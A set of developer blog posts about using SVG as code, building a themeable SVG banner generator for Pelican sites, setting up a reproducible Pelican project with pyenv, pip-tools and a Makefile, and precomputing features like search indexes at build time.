PNG can't do this. WebP can't. Only SVG treats accessibility as a first-class concern, because only SVG carries its semantics as document structure rather than opaque pixels.

Responsiveness Without Tricks

Responsive images are a solved problem in raster formats, but the solution is inelegant: multiple resolutions, srcset attributes, media queries, and browsers guessing which file to download. It works, but it's heavy.

SVG is naturally resolution-independent. A single file renders sharply at any size, on any display. On a 4K monitor with a 2x device pixel ratio, the same SVG that looks perfect on a 1080p screen renders with no additional bandwidth and no loss of quality. The browser's vector renderer handles the scaling; you don't need multiple file variants.

Combine this with CSS media queries inside the SVG, and you get responsive behavior without JavaScript:


<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400">
  <style>
    text { font-family: 'JetBrains Mono'; }
    @media (max-width: 400px) {
      .detail-text { display: none; }
      text { font-size: 14px; }
    }
    @media (min-width: 401px) {
      .detail-text { display: inline; }
      text { font-size: 18px; }
    }
  </style>
  <text x="20" y="40">System Overview</text>
  <text class="detail-text" x="20" y="80">
    Showing 14 interconnected services
  </text>
</svg>

The same file adapts its information density to the viewport. On small screens, it simplifies. On large screens, it adds detail. This is one file, one HTTP request, zero JavaScript.

Animation as a First-Class Feature

SVG animation lives in a sweet spot that CSS animations and canvas-based approaches both miss. SMIL animations (the <animate>, <animateTransform>, and <animateMotion> elements) are declarative, GPU-accelerated in most browsers, and don't require JavaScript.

But the real power isn't SMIL — it's that SVG elements are DOM elements. You can animate them with CSS transitions and keyframes using the same properties you'd use on any HTML element. You can also drive them imperatively with requestAnimationFrame for complex, frame-by-frame control.

This means SVG animation integrates with your existing tooling. Your CSS pipeline handles SVG animation. Your JavaScript framework can manipulate SVG elements through its standard component model. There's no special animation library required — though libraries like GSAP and Anime.js certainly make advanced work more pleasant.

For technical documentation, this enables things like:

• Animated architecture diagrams: Data flow arrows that pulse to indicate direction.
• Step-through sequences: Diagrams that build themselves as the user scrolls.
• Live status indicators: System health visualizations that update in real time.

Procedural Graphics and Generative Art

Because SVG is text, any language that can write strings can generate SVG. This opens the door to procedural graphics — images defined by algorithms rather than drawn by hand.

Here's a trivial example that generates a grid of colored rectangles:


def generate_grid(rows, cols, cell_size, palette):
    """Generate an SVG grid of colored rectangles."""
    elements = []
    for row in range(rows):
        for col in range(cols):
            x = col * cell_size
            y = row * cell_size
            color = palette[(row + col) % len(palette)]
            rect = (
                f'<rect x="{x}" y="{y}" '
                f'width="{cell_size}" height="{cell_size}" '
                f'fill="{color}" stroke="#1a1a2e" stroke-width="1"/>'
            )
            elements.append(rect)

    width = cols * cell_size
    height = rows * cell_size

    svg = f'''<svg xmlns="http://www.w3.org/2000/svg"
         viewBox="0 0 {width} {height}">
      {"".join(elements)}
    </svg>'''
    return svg

This scales to far more interesting territory. Generative art systems — processing-style sketches, particle systems, flow fields — can output SVG instead of raster pixels. The output is infinitely scalable, editable post-generation, and trivially customizable by modifying the generation parameters rather than re-rendering.

I've used this approach for:

• Deterministic avatars: Generating user icons from hash values — reproducible, unique, and lightweight.
• Background patterns: SVG-based textures that tile seamlessly, weigh under a kilobyte, and match the site's color scheme programmatically.
• Code architecture diagrams: Auto-generated dependency graphs that render as SVG and can be styled with CSS to match documentation themes.

The Tradeoffs (Because There Are Always Tradeoffs)

SVG isn't universally superior. I'm not making that argument. The format has real limitations that matter in production:

• Photographic content: SVG is terrible for photos. It's a vector format. Use JPEG or WebP for raster images — that's what they're for.
• Extremely complex scenes: A vector map of every road in a country will produce an enormous file. GPU rasterization of complex SVGs can be slower than decoding a carefully compressed bitmap.
• Renderer inconsistencies: Different browsers implement the SVG spec with slightly different interpretations. Font rendering varies. Filter effects vary. Test across engines.
• Security considerations: SVG can contain JavaScript. User-uploaded SVGs are an XSS vector. Sanitize uploaded SVGs aggressively — strip scripts, event handlers, and foreignObject elements. Tools like DOMPurify handle this well, but you need to know the risk exists.
• Performance profiling: SVG rendering performance is harder to reason about than raster image decoding. Complex filters, many elements, and frequent DOM mutations can bottleneck on the GPU or the compositing thread. Profile with browser devtools if performance matters.

These are real constraints. They're also the same kind of constraints you'd consider for any engineering decision. The key insight is that SVG's limitations are understandable — they follow from its design as a structured, DOM-integrated vector format. You can reason about them, profile them, and work around them.

SVG in a Modern Build Pipeline

Here's a concrete workflow that treats SVG as a build artifact rather than a static asset:


# 1. Generate SVGs from templates and data
python scripts/generate_banners.py \
  --template templates/banner.svg.j2 \
  --data articles/*/metadata.toml \
  --output output/banners/

# 2. Optimize with SVGO
npx svgo --config svgo.config.js \
  --input output/banners/ \
  --output output/banners-optimized/

# 3. Convert to PNG for platforms that need raster
for svg in output/banners-optimized/*.svg; do
  rsvg-convert -w 1200 -h 630 "$svg" \
    > "${svg%.svg}.png"
done

# 4. Inject references into built HTML
python scripts/inject_og_tags.py \
  --images output/banners-optimized/ \
  --site output/_site/

This pipeline is:

• Deterministic: Same inputs, same outputs, every time.
• Version-controlled: Templates, configuration, and generation scripts all live in Git.
• CI/CD-ready: Runs in GitHub Actions, produces artifacts, deploys predictably.
• Debuggable: Each step is independent. If the PNG looks wrong, check the SVG. If the SVG is wrong, check the template. If the template is wrong, check the data.

This is what it looks like when graphics participate in an engineering workflow. It's not about making pretty pictures. It's about building a system where visual output is as reliable, traceable, and automatable as the rest of the build.

Why I Build With SVG First

I default to SVG now for any visual asset that isn't a photograph. Diagrams, banners, icons, charts, architectural drawings, generative patterns — all SVG. The format pays its engineering dividends through composability, versionability, pipeline integration, and the ability to treat visual assets as code.

The tooling ecosystem supports this approach. SVGO for optimization. librsvg for raster fallback. Jinja2 (or any template engine) for composition. Standard version control for history and collaboration. Browser devtools for performance profiling and debugging.

The most underrated aspect of SVG isn't any single feature. It's the cumulative effect of all of them working together inside a developer workflow. When your images are source code, you stop thinking about "managing assets" and start thinking about "building visual output." The distinction is subtle but profound.

If you're treating SVG as just another export format, you're missing the engineering value. It's not a format for designers. It's a format for build systems that produce graphics.

Building a Modular Banner Generator for Pelican – A Developer's Approach

2026-05-07T09:30:00+00:00

0. The Real Problem Was Consistency

At first, banners were created manually. Some used PNGs, others SVGs. Typography changed between articles. Margins drifted. A few thumbnails were exported at the wrong aspect ratio.

The issue was not artistic quality. The issue was that visuals were outside the engineering workflow.

The moment article count passed 30+, image management became operational debt:

One generic banner → weak brand identity
Manual creation per article → unsustainable
Hard‑coded HTML/CSS in the theme → inconsistent with social media previews

We needed a system: deterministic, themeable, and fully integrated into the Pelican workflow.

This article walks through the design and implementation of a banner generator that treats images as code – SVG components assembled from configuration, with no manual design work after the first setup. The system has since evolved to be completely extensible: new components, themes, and design presets are automatically discovered simply by placing files in the right directories – no code edits required.

1. Why Banners Must Be Generated, Not Drawn

The core problems mentioned above pointed to one principle: banners should be derived, not stored as binary blobs. A proper banner generator solves all three:

Reproducible – the same input always produces the same SVG
Theme‑aware – matches your Pelican theme’s colours and typography
Data‑driven – pulls title, tags, category, and progress directly from article metadata

The output is a standard 1200×630 Open Graph image (or a square thumbnail), rendered as SVG and optionally rasterised to PNG.

Key idea: Banners become part of the build pipeline – no more design debt.

1.1 Why Not Use Existing Tools?

Before building a custom generator, obvious alternatives were considered:

Canva / Figma: manual workflow, no API for mass generation, binary artefacts
Puppeteer / Playwright screenshots: heavy dependencies, browser inconsistencies, slow, hard to version text
Online OG generators: limited customisation, not part of local build, platform lock-in
Pillow / PIL rendering: low-level, no native SVG support, poor typography control

None offered the combination of version control, theme reusability, and deterministic output that a static-site generator demands.

1.2 Why SVG Instead of HTML/CSS Canvas?

Several rendering approaches were tested:

HTML + Playwright screenshots
Pillow/PIL image rendering
Canvas APIs
Pure SVG generation

SVG won because it is:

Text-based and version controllable – diff‑friendly in Git
Resolution independent – perfect for both thumbnail and OG sizes
Composable from reusable XML fragments – each component outputs a small SVG chunk
Easy to theme dynamically – colours and fonts are just placeholder variables
Cheap to rasterise into PNG – a single ImageMagick command
Simple to diff in Git – visual regression testing possible

Unlike screenshot-based systems, SVG generation also avoids browser rendering inconsistencies and heavy dependencies.

2. Architecture: Components Over Templates

Instead of a monolithic image template, the generator is built from independent visual components. Each component knows how to render itself against a canvas and respects a global theme.

The core pipeline is simple:

  
BannerConfig (TOML) → BannerContext → Renderer → SVG
                       ↓
                (components in Z‑order)
            background, terminal, title, badges …

Components do not hard‑code positions or colours. They read from a theme dictionary and a layout configuration. This separation allows one design file to be rendered with any available theme.

Dynamic component discovery: Since version 2.0, the factory no longer uses a hard‑coded registry. Instead, it scans the components/ directory at startup and automatically loads every valid Python module that exports a Component class. This means you can add a new visual element by simply dropping a .py file into the folder – no registration, no config edits. The CLI, the interactive workflow, and the generated TOML comments all update themselves to reflect the new component.

2.1 Component Example – Terminal Window

The terminal component is one of the most complex elements. It renders a list of commands with syntax highlighting, optional typing animations, and a responsive layout.

  
class TerminalComponent(BaseComponent):
    def render(self) -> str:
        cmds = self.cfg["terminal"]["commands"]
        out = []
        for i, cmd in enumerate(cmds):
            y = self.y_offset + start_y + i * spacing
            out.append(self._render_line(cmd, y, text_x))
        return "\n".join(out)

Each component also reports its consumed height, so the renderer can stack them vertically without absolute coordinates – a simple but powerful flow layout.

2.2 Rendering Lifecycle – Step by Step

The generation pipeline follows five deterministic stages:

Load theme TOML (colours, layout defaults)
Load design preset (component selection, text overrides)
Merge into a BannerContext that holds all settings
Instantiate enabled components via a factory
Render SVG fragments in z‑order, assemble final document

  
Article Metadata
        ↓
Design Preset
        ↓
Theme Merge
        ↓
BannerContext
        ↓
Component Factory
        ↓
SVG Renderer
        ↓
banner.svg
        ↓
ImageMagick
        ↓
banner.png

2.3 Why Deterministic Output Matters

Because banners are pure functions of their input configuration:

The same design + metadata always yields the exact same SVG.
It is impossible to accidentally “drift” a banner style.
The system is CI‑friendly: any broken component immediately produces a visual diff.
Regenerating an entire archive of hundreds of banners is safe and instant.

This determinism is what makes banners a first‑class part of the engineering workflow.

3. Project Structure

The generator follows a clean separation of responsibilities. The directory tree now supports nested folders so you can organise themes, designs, and even components if desired – all automatically discovered.

  
banner_generator/
├── components/        # Independent renderable SVG blocks (auto‑discovered)
├── core/              # Rendering pipeline, factory, context
├── themes/            # TOML colour/typography profiles (nested folders allowed)
├── designs/           # Preset compositions, now organised by category:
│   ├── articles/      #   tech and academic presets
│   ├── books/         #   covers (fantasy, mystery, corporate, …)
│   └── thumbnails/    #   square thumbnail presets
├── article_creator/   # Pelican workflow integration
├── cli.py             # Command‑line interface
├── generate.py        # Core generation entry point
└── README.md

Directory	Responsibility
`components/`	Independent renderable SVG blocks (auto‑loaded)
`core/`	Rendering pipeline and orchestration
`themes/`	Shared colour systems (any subfolder)
`designs/`	Preset compositions (any subfolder)
`article_creator/`	Pelican workflow integration

4. Themes: One Source of Truth for Visual Identity

A theme is a TOML file that defines colours and layout defaults. No component knows about hex codes – they all reference keys like title_start or terminal_bg.

  
name = "Dracula"

[colors]
bg_start = "#282a36"
title_start = "#f8f8f2"
terminal_bg = "#1e1e2e"
status_badge_bg = "#44475a"

[layout]
title_font_size = 44
title_margin_top = 120

Switching from "Tech" to "Dracula" to "Catppuccin" is a one‑line change:

  
theme = "dracula"

Because every component reads from the same colour dictionary, the entire banner stays visually consistent. This is the same principle behind CSS custom properties – applied to SVG generation.

Themes can now be placed in subdirectories (e.g. themes/catppuccin/mocha.toml) and referenced as theme = "catppuccin/mocha". The system recursively searches all subfolders, making it easy to group themes by family or project.

4.1 Theme Inheritance and Fallbacks

Themes support a simple inheritance model. A theme can specify a parent key:

  
name = "custom"
parent = "dracula"
[colors]
title_start = "#ffffff"  # override only one colour

Any missing colours or layout values are automatically pulled from the parent. This allows minimal custom themes without duplicating the entire palette. Components access all colours through a merged dictionary, never knowing where the value originated.

4.2 Minimal Working Example

A complete banner can be generated with fewer than 20 lines of TOML:

  
theme = "tech"
title = "Hello Banner"
subtitle = "SVG generated"

[components]
show_title = true
show_background = true

Run it with:

  
python -m banner_generator.generate example.banner.toml

This gives you a themed, properly sized OG image without any design tool.

5. Design Presets: Reusable Blueprints

A design preset is a TOML file that selects a theme, sets layout overrides, and decides which components to show. It also provides placeholder text for titles, commands, badges, and social icons.

For example, a python_programming.banner.toml preset:

  
theme = "tech"
size = "og"
title = "Python Internals"
subtitle = "Decorators, generators, and async"
meta = "Article 9 · Advanced Python"

[components]
show_terminal = true
show_code_snippet = true
show_status_badges = true

[code_snippet]
language = "python"
code = ["def decorator(func):", "    return wrapper"]

These presets are stored as version‑controlled files. You can organise them into subdirectories – e.g., articles/tech/ for programming topics, books/fantasy/ for novel covers. The CLI and interactive tools discover them recursively, so you reference a design by its relative path, like books/fantasy/fantasy_book_cover.

During the article workflow, the system automatically suggests a design based on tags, category, and title keywords. If the article is about Linux, it suggests articles/tech/linux_homelab; if it contains "LaTeX", it leans toward articles/tech/latex_article. The suggestion engine works across nested directories without any extra configuration.

5.1 How Metadata Drives Visual Choices

The suggestion engine maps article metadata to design presets using simple rules:

Metadata	Visual Result
`Tags: vim`	Vim component suggested; code-focused layout
`Category: Linux`	Linux preset selected; terminal component enabled
`Series: Python Deep Dive`	Progress indicator enabled automatically
`Subcategory: Advanced`	Badge colour changed to denote difficulty

This mapping ensures new articles rarely need manual design file tweaks – the system picks a starting point that is already almost correct.

6. Integration into the Pelican Article Workflow

The generator is not a standalone script – it's a tightly integrated step inside the article creation pipeline.

When a new article is started:

A working directory is created (article-42/).
Metadata files (title.txt, tags.txt, body.html) are edited.
The user is prompted to generate a banner – a design is chosen, a banner.toml file is created, and the editor opens.
After editing the config, the SVG and PNG are rendered automatically.
The same steps run for a square thumbnail (size = "thumbnail").

Both the banner and thumbnail are copied to the Pelican static directories with the article’s slug as the filename. The markdown front matter is updated with the correct Image: and Thumbnail: fields.

This eliminates any manual file renaming or path‑guessing.

Result: Every article gets a unique, on‑brand banner without touching a graphical editor.

6.1 Why Pelican (and Static Sites) Benefit Most

Static-site generators are build‑time systems. They already transform source files into output artefacts. Adding banner image generation to the pipeline is a natural extension – unlike dynamic CMS platforms where image generation would need to happen lazily or on upload. Because everything runs during pelican’s generation step, the images are always in sync with the content. There is no cache invalidation or stale state.

7. From SVG to PNG – Rasterisation in the Pipeline

SVG is perfect for the source format: it's text, versionable, and can contain animations (e.g. typing effects). But Open Graph and Twitter cards require static PNG images.

The generator uses ImageMagick (magick or convert) to rasterise the SVG at the exact canvas size:

  
magick banner.svg -resize 1200x630! banner.png

The ! flag forces the exact dimensions, which matches the Open Graph specification. For thumbnails, the canvas is 512×512, producing a perfect square ready for archive pages and social previews.

If ImageMagick is not available, the workflow still produces an SVG – the user can rasterise later. But in practice, every CI environment and local development machine includes it.

8. Performance and Caching

Generating a banner from scratch takes ~200ms on a modern machine – fast enough to run during every edit. But regeneration is only needed when the article metadata (title, tags) or the banner.toml changes.

The workflow checks for existing banner.png and thumbnail.png before regenerating. If they exist, the user is asked:

  
⚠️  banner.png already exists. Regenerate anyway? (Y/n)

This simple guard prevents accidental overwrites and keeps builds incremental. When the site is published, the images are rsync'd once – no unnecessary work.

9. Extending the Component Library

The current component set includes 35+ visual blocks, ranging from terminal windows and code editors to diagrams, charts, and decorative elements. A handful of widely used ones:

Terminal – with typing animation and syntax‑highlighted commands
Vim editor – code window with line numbers and mode indicator
Status badges – tag pills that automatically map to article tags
Code snippet – generic code block with Pygments highlighting
Definition box – term + definition card
Simple chart – bar chart for metrics or survey data
Latex source – formatted LaTeX code block
Network diagram – nodes and connections
Database tables – entity relationship visualisation
Kanban board – columns and cards

Adding a new component requires zero changes to the core engine. Simply:

Create a new Python file under banner_generator/components/.
Implement a Component class that inherits from BaseComponent, defines a unique string component_id, and assigns a numeric z_index for layering.
Write the render() method (and optionally defs() if the component needs SVG gradients or filters).

Once the file is saved, the component is immediately available:

The banner generator discovers it on the next startup.
The CLI automatically lists the new show_<id> toggle in every generated banner.toml comment block.
The interactive article workflow suggests it if the design requires that component.
The renderer stacks it in the correct z‑order using its declared z_index.

There is no master list to update, no factory map to edit, and no configuration file to touch. The only requirement is that the component follows the simple contract: component_id and inheritance from BaseComponent. Invalid or broken components are gracefully skipped with a warning, keeping the whole system stable.

9.1 Hands‑on: Building a Minimal Component

Every component inherits from BaseComponent. A component only needs geometry calculations and a render() method that returns SVG markup.

  
class Component(BaseComponent):
    component_id = "divider"
    z_index = 50
    def render(self):
        return f'''
        
        '''

Save the file as banner_generator/components/divider.py and the system will auto‑discover it. Any design preset can then include it by setting show_divider = true. That’s the entire workflow – no central orchestration changes required, ever.

Gallery: All Generated Banners (Designs & Themes)

Below you can see the complete set of banners produced by the generator – both from design presets and from theme variations. Each image links to its full‑size version. This gallery demonstrates the flexibility and consistency of the system.

Design presets combine a specific component selection, layout strategy, and a theme. Changing the theme for a given design preserves the same visual structure but applies a new colour palette and typography.

🎨 Design Presets

🎨 Theme Variations

Theme variations apply different colour palettes to the same underlying design components. Notice how structure remains identical while mood changes completely.

10. CLI Usage at a Glance

The entire workflow is driven through a simple CLI, designed to feel familiar to developers:

  
# Start a new article (triggers banner generation prompts)
python cli.py article new

# Generate a banner from an existing config
python cli.py banner generate article-42/banner.toml

# Generate from a design preset (nested path works)
python cli.py banner --design articles/tech/python_programming --svg --png

# Use presets organised in subdirectories
python cli.py banner --design books/fantasy/fantasy_book_cover --out-dir ./covers

These commands are callable from Makefile targets, CI scripts, or IDE task runners – no GUI needed.

11. Problems Encountered During Development

No system is built without hitting real‑world snags. These are the most significant issues we faced:

Font inconsistency across OSes: SVG fonts rendered differently on Ubuntu, macOS, and Alpine. The fix was embedding a subset of the primary font as base64 inside the SVG.
SVG filters crippled rasterisation speed: drop shadows and blur effects increased magick time from 200 ms to 3 seconds. Filters were eventually moved to optional “premium” themes.
Gradients produced banding in PNG: some gradient stops required exact placement to avoid visual artefacts at 1200×630.
Long article titles overflowed: titles exceeding 80 characters had to be truncated with an ellipsis, and a multi‑line fallback was added.
Typing animations broke social crawlers: Twitter and LinkedIn ignored animated SVGs; we added a static fallback frame for PNG export.

12. What's Next – Animated Banners and A/B Testing

The current generator produces either static PNGs or animated SVGs. The animated SVG retains typing effects, blinking cursors, and rotating watermarks – perfect for embedding in HTML articles or interactive documentation.

Future directions:

Video previews – render a few seconds of animated SVG to MP4 for social media.
Remote generation API – expose the generator as a microservice for other Pelican sites.
A/B testing – automatically generate two design variants and compare click‑through rates.
Component packs – distribute theme+component bundles as installable Python packages.
Static caching at scale – use content‑addressed storage so regenerating a big site only updates changed banners.

But even in its current form, the banner generator has already paid for itself by eliminating hundreds of manual design hours.

13. Final Thoughts – Treat Images Like Source Code

The most important lesson from building this system is conceptual: banners are not assets – they are derivations. They should be generated from metadata, not stored as binary blobs.

Once you accept that, everything becomes simpler:

Version control stays clean (only TOML and theme files change).
Brand updates apply retroactively (change a colour in the theme, regenerate everything).
New articles never block on design work.

The banner generator is now an integral part of the Pelican publishing pipeline – running silently in the background, producing professional visuals without a single click in Photoshop.

If your static site still relies on manual image editing, it's time to automate. And the code is already waiting in pelican_tools repository

Setting Up Pelican Like a Developer (Not a Beginner) – Static, But Smarter

2026-05-06T17:50:53+00:00

Most Pelican tutorials teach the same sequence: run pelican-quickstart, tweak a few settings, and start writing. It works — until it doesn’t.

The failure mode is predictable: as soon as the project outgrows “a few posts”, configuration spreads, Python environments drift, plugins are added opportunistically, and the folder becomes a grab-bag of generated output and source files. The site still builds… right up until the day it doesn’t, and you can’t explain why.

In this article, we’re not “setting up Pelican”. We’re building a reproducible content system:

deterministic environment → clean project scaffold → split configuration → disciplined dependencies → automation from day one → a first-run page

If you’re a beginner: you’ll get a path that works now and keeps working later. If you’re a power user: you’ll get a structure you can version, automate, deploy, and extend without regret.

1. Introduction – Why “Beginner” Setups Break

Beginner setups break for one reason: they optimize for getting a page on screen, not for building a maintainable pipeline.

A production-grade static site isn’t “a folder of Markdown” — it’s a system with:

• a pinned interpreter and reproducible dependencies

• a clean separation between source and build output

• configuration that behaves differently in dev vs production

• automation that makes the “right thing” the easiest thing

Let’s build that foundation first.

2. Environment Isolation: Controlled Python, Not Global Chaos

The first rule of a maintainable Pelican setup is simple: your Python environment must be predictable.

We’ll do this in three layers:

• pin the Python interpreter (pyenv)

• isolate dependencies (venv)

• separate “what we want” from “what gets installed” (pip-tools)

2.1 Pin the interpreter with pyenv

If you already manage Python another way (asdf, mise, containers), keep your tool — the goal is still the same: pin the interpreter. Here’s the pyenv approach:

  
pyenv install 3.12.2
pyenv local 3.12.2

That creates .python-version. Anyone cloning your repo gets the exact same Python version.

2.2 Create a local virtual environment

  
python -m venv .venv
source .venv/bin/activate

At this point: no global packages, no “works on my laptop” surprises.

2.3 Use pip-tools for deterministic installs

A common trap is freezing everything too early. Instead, keep two files:

• requirements.in = your direct dependencies (intent)

• requirements.txt = fully pinned dependency graph (resolution)

  
pip install pip-tools

# Define only direct dependencies
echo "pelican\nmarkdown" > requirements.in

# Compile a fully pinned lockfile
pip-compile requirements.in

# Install exactly what was compiled
pip-sync requirements.txt

Key idea: You’re not setting up “a blog”. You’re defining a build environment.

From now on, your environment is deterministic: Python version locked, dependencies reproducible, no global pollution.

3. The Professional Project Scaffold

The default Pelican layout is minimal. Minimal is fine for a weekend experiment. For a real site, you want a directory structure that makes it obvious what is:

• source

• output

• UI/theme

• extensions

• automation

  
project/
│
├── content/              # source: articles, pages, images, extra files
│   ├── articles/
│   ├── pages/
│   ├── images/
│   └── extra/
├── output/               # generated site (never hand-edit)
├── theme/                # templates + CSS/JS
├── plugins/              # optional, controlled extensions
├── tasks/                # build/deploy scripts (later)
├── tools/                # custom generators (later)
├── pelicanconf.py        # dev config
├── publishconf.py        # production overrides
├── requirements.in       # intent
├── requirements.txt      # lockfile
└── Makefile              # automation

This separation is what turns Pelican into a content pipeline, not just a static site generator.

3.1 Bootstrap the structure (one command)

You can create everything manually, but a bootstrap script gives you repeatability. Keep it simple, and don’t be afraid to parameterize it.

  
#!/usr/bin/env bash
set -euo pipefail

PROJECT_NAME="pelican-project"
PYTHON_VERSION="3.12.2"

echo "[+] Creating project structure..."

mkdir -p "$PROJECT_NAME"/{content/{articles,pages,images,extra},output,theme,plugins,tasks,tools}

touch "$PROJECT_NAME"/pelicanconf.py
touch "$PROJECT_NAME"/publishconf.py
touch "$PROJECT_NAME"/Makefile
touch "$PROJECT_NAME"/requirements.in

touch "$PROJECT_NAME"/content/articles/.keep
touch "$PROJECT_NAME"/content/pages/.keep

echo "[+] Initializing Python environment..."
cd "$PROJECT_NAME"

pyenv local "$PYTHON_VERSION"

python -m venv .venv
source .venv/bin/activate

pip install pip-tools

echo -e "pelican\nmarkdown" > requirements.in
pip-compile requirements.in
pip-sync requirements.txt

echo "[✓] Project ready."

Now your Pelican project can be created in seconds — consistently, every time.

4. Configuration Strategy – Split Dev vs Production (and keep secrets out of git)

Treat configuration like code: explicit, modular, reviewable. Pelican gives you two natural layers:

• pelicanconf.py → development defaults

• publishconf.py → production overrides

4.1 A clean development config

Keep the baseline boring and stable. This article’s goal is to get structure correct, not to introduce features.

  
# pelicanconf.py

PATH = "content"

TIMEZONE = "UTC"
DEFAULT_LANG = "en"

THEME = "theme"

STATIC_PATHS = ["images", "extra"]
PAGE_PATHS = ["pages"]

# Optional hardening for dev feeds
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None

4.2 Minimal production overrides

  
# publishconf.py

from pelicanconf import *

SITEURL = "https://example.com"
DELETE_OUTPUT_DIRECTORY = True

4.3 Optional: use a .env file (only if you need it)

If you want environment-specific values (different SITEURL, feature flags, etc.), you can use a .env. Just remember: a .env is a convenience, not a requirement.

  
SITEURL=http://localhost:8002

If you do this, add python-dotenv to your dependencies and load it explicitly:

  
echo "python-dotenv" >> requirements.in
pip-compile requirements.in
pip-sync requirements.txt

  
# pelicanconf.py
from dotenv import load_dotenv
load_dotenv()

And crucially: don’t commit secrets. Add .env to .gitignore.

5. Plugins: Intentional Selection (Not “plugin-first”)

Pelican plugins are powerful — and easy to overuse. Every plugin becomes part of your build pipeline. So we follow a strict rule: plugins must earn their place.

In the early stage, you should be able to build a working site with zero plugins. That forces you to understand:

• where data comes from (content + metadata)

• how it flows through templates

• how URLs and structure are generated

When you do add plugins, add them like normal dependencies: pinned, documented, and reproducible.

  
# example: sitemap (only when you’re ready)
pip install pelican-sitemap

Then enable them explicitly (and only where needed):

  
PLUGIN_PATHS = ["plugins"]
PLUGINS = ["sitemap"]

If you need custom behavior, prefer implementing it in tools/ or your theme once you fully understand the pipeline.

6. Version Control Hygiene: What to Commit vs What to Regenerate

A clean Pelican project is defined by what you don’t keep. Generated output, caches, and virtualenvs should never mix with source content.

Here’s a minimal .gitignore that keeps your repo clean:

  
# Python
.venv/
__pycache__/
*.py[cod]

# Pelican
output/
.pelican-cache/

# Environment
.env

# OS / editor
.DS_Store
.vscode/

As a rule of thumb:

• Commit: content/, theme/, configs, requirements.in, requirements.txt, Makefile

• Never commit: output/, .venv/, caches, generated artifacts

Golden rule: Only source files matter. Everything else can be regenerated.

Optional but useful: add .editorconfig to prevent formatting drift across machines.

7. The Build System: A Makefile from Day One

Before writing content, define how the system runs. Automation isn’t “extra”; it’s how you make good practices frictionless.

  
.PHONY: dev build publish serve clean

PORT ?= 8002

# Live-reload development server
serve:
    pelican -r -l -p $(PORT)

# Deterministic build (uses pelicanconf.py)
build:
    pelican content -s pelicanconf.py -o output

# Production build (uses publishconf.py)
publish:
    pelican content -s publishconf.py -o output

# Serve the generated output directory
serve:
    cd output && python -m http.server $(PORT)

clean:
    rm -rf output __pycache__ .pelican-cache

This gives you a stable interface:

• make serve → live reload

• make build → local build

• make publish → production output

• make clean → wipe generated artifacts

8. First Light: “Hello World” Page

Before you write “real” content, prove the pipeline works end-to-end. We’ll create a page (not an article) because it’s the fastest way to validate output without date ordering or taxonomies.


mkdir -p content/pages
cat > content/pages/home.md << 'EOF'
Title: Hello, World
Slug: home

# Hello, World

This page was generated by Pelican.
EOF

Start the development server:


make serve

Open http://localhost:8002 in your browser. If you see “Hello, World”, your environment, config, and directory layout are all aligned.

Congratulations — the machine works. Now we can safely add complexity without ever breaking the “works out of the box” contract.

9. What We Just Built (and Why It Matters)

You now have a build pipeline, not just a blog folder. From here onward, you’ll repeatedly apply a simple three-layer pattern:

• Config: tell Pelican what to load and how to structure output

• Theme: render that data intentionally (templates, includes, layout)

• Metadata conventions: define the shape of the content so it stays queryable at build time

This pattern scales: it keeps the project understandable at 5 posts and at 500.

Next: in the next article we’ll design a clean content architecture — file naming, front matter vocabulary, and a directory strategy that keeps your site navigable and extensible as it grows.

Stop Thinking at Runtime: The Power User’s Guide to Precomputation in Pelican

2026-05-05T17:19:48+00:00

Most developers hit the same wall with static sites.

They like the speed. They like the simplicity.

And then they stop.

• “No search.”

• “No comments.”

• “No real interactivity.”

So they go back to a backend… or reach for a JavaScript framework.

Not because they need one—

But because they’re still thinking in runtime.

Here’s the line that separates beginners from power users:

•Beginners ask: “How do I compute this when the user loads the page?”

•Power users ask: “Why is this being computed at runtime at all?”

That question changes everything.

Search doesn’t need a server.

1. Build-Time vs Run-Time

Build-Time vs Run-Time

In a traditional web app, every request triggers work:

• Query the database

• Apply business logic

• Render templates

• Send the response

That’s runtime.

It happens for every user, on every request.

Which means:

• You pay the cost repeatedly

• You need infrastructure to support it

• You introduce latency and failure points

Pelican flips the model.

• Content is loaded

• Templates are rendered

• Pages are generated

Once.

At build time.

When a user visits your site?

• The server returns a file

No computation. No database. No logic.

This is the core optimization:

•Do expensive work once instead of thousands of times

That’s not a limitation.

That’s leverage.

2. Content as Data

If you still think of Markdown files as “pages,” you’re limiting yourself.

They’re not pages.

•They’re records

Each file contains structured information:

• Title

• Date

• Tags

• Category

• Content

During the build, Pelican loads all of this into memory.

At that point, you’re not rendering pages anymore—

You’re operating on a dataset.

Which means you can:

• Filter articles by tag

• Group them by category

• Sort them by date

• Generate entirely new views

No database required.

Because your content is the database.

This is where most people miss the opportunity.

They use Pelican to render articles.

Power users use it to query and transform data.

3. Precomputation Patterns

Once you adopt this mindset, your questions change.

Instead of asking:

• “How do I build this feature?”

You ask:

• “Can this be computed ahead of time?”

That leads to a set of repeatable patterns:

•Search Index
Generate a JSON file containing all content, ready for instant client-side search.

•Pre-filtered Views
Generate pages like “All Linux Articles” or “Beginner Guides” at build time.

•Related Content
Compute similarity (tags, categories) once and embed results directly into each page.

•Static APIs
Export structured JSON that behaves like an API—without running a server.

Notice the pattern:

• Compute once

• Reuse everywhere

The result?

• Zero runtime cost

• Instant responses

• Predictable behavior

4. Example: Generating a Search Index

Let’s make this real.

Instead of querying a database for search results, you generate them ahead of time.

At build time, Pelican already knows everything about your content.

So you export it.

  [
{% for article in articles %}
{
  "title": "{{ article.title | escape }}",
  "url": "{{ SITEURL }}/{{ article.url }}",
  "summary": "{{ article.summary | striptags | escape }}",
  "tags": [{% for tag in article.tags %}"{{ tag.name }}"{% if not loop.last %}, {% endif %}{% endfor %}]
}{% if not loop.last %},{% endif %}
{% endfor %}
]

This becomes a static file:

•search-index.json

No API. No backend.

Just data, ready to be consumed.

Your frontend (later in this series) will load this file and search it instantly.

This is the pattern you’ll reuse again and again.

5. Where This Leads

Once you internalize precomputation, your architecture changes.

You stop thinking in:

• Requests

• Controllers

• Server logic

And start thinking in:

• Data transformations

• Build pipelines

• Generated artifacts

This naturally leads to more advanced patterns:

•Headless CMS — external content sources, consumed at build time

•Static APIs — JSON endpoints generated by your build process

•Hybrid systems — static frontend, minimal dynamic services where truly needed

At that point, your “static site” isn’t simple.

It’s deliberate.

It’s engineered.

It’s precomputed software.

Final Thought

Static sites aren’t limited.

They’re shifted.

The work still happens—

Just earlier.

And once you start thinking that way, you stop asking:

• “Can Pelican do this?”

And start asking:

•“Why am I doing this at runtime?”

Why Static Websites Still Win in 2026

2026-05-05T15:36:21+00:00

